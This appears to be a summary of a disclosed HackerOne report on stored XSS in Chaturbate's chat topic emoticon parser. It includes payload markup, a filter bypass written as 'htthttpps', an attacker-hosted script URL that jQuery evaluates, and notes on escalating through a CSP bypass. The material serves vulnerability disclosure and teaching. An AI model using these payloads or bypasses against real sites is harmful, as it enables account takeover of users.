# Stored XSS in chat topic due to insecure emoticon parsing on any message type

Stored XSS in Chaturbate chat topic via unvalidated emoticon REPORT_URL, triggered by ctrl-click javascript: URL or jQuery AJAX evaluating attacker JS.

- Payout: $450
- Severity: medium
- Program: Chaturbate
- Credited: avlidienbrunn
- Disclosed: 2018-11-01
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/429298
- Library page: https://bugbountylibrary.com/r/h1%3A429298
- Tags: domain:web impact:ato kind:bounty platform:hackerone sev:medium technique:incomplete-fix technique:source-review vuln:access-control vuln:xss

**Target:** chat topic emoticon parser
**Root cause:** Emoticon markup parser validates EMOTICON_URL but not REPORT_URL, allowing javascript: URLs and attacker-controlled AJAX endpoints; jQuery $.ajax evaluates application/javascript responses.
**Steps:**
1. Set chat topic to `LUL %%%[emoticon blush|htthttpps://public.chaturbate/uploads/avatar/2011/11/08/cxecSeKtWjRK.jpg|22|22|javascript:alert(1)]%%% WUT` (htthttpps bypasses http-strip filter)
2. Click the emoticon, then ctrl/mouse3-click `REPORT EMOTICON` to fire javascript: URL
3. Alt: set REPORT_URL to `htthttpps://avlidienbrunn.se/xss.php` serving `Content-Type: text/javascript` with `alert(document.domain)`
4. Click emoticon, click REPORT EMOTICON, click REPORT; jQuery evaluates response as JS
**How found:** Noticed emoticon markup format and that EMOTICON_URL had a regex check while REPORT_URL had none; tested javascript: scheme and jQuery AJAX content-type evaluation; found http-strip filter bypassable with htthttpps.
**Exploitation:** Attacker sets a room topic containing crafted emoticon markup; victim clicks emoticon then report link, executing attacker JS in chaturbate.com origin. CSP blocks external connect-src unless a subdomain takeover exists on allowed *.chaturbate.com/highwebmedia.com domains.
**Escalation:** CSP bypass possible via subdomain takeover on connect-src allowlisted domains; oversized WIDTH/HEIGHT can cover whole chat window for clickjacking-style lure.
**Insight:** When a markup parser validates one URL field, check sibling fields (report/click targets) for missing scheme validation; also test whether client AJAX libs like jQuery evaluate attacker-controlled Content-Type responses.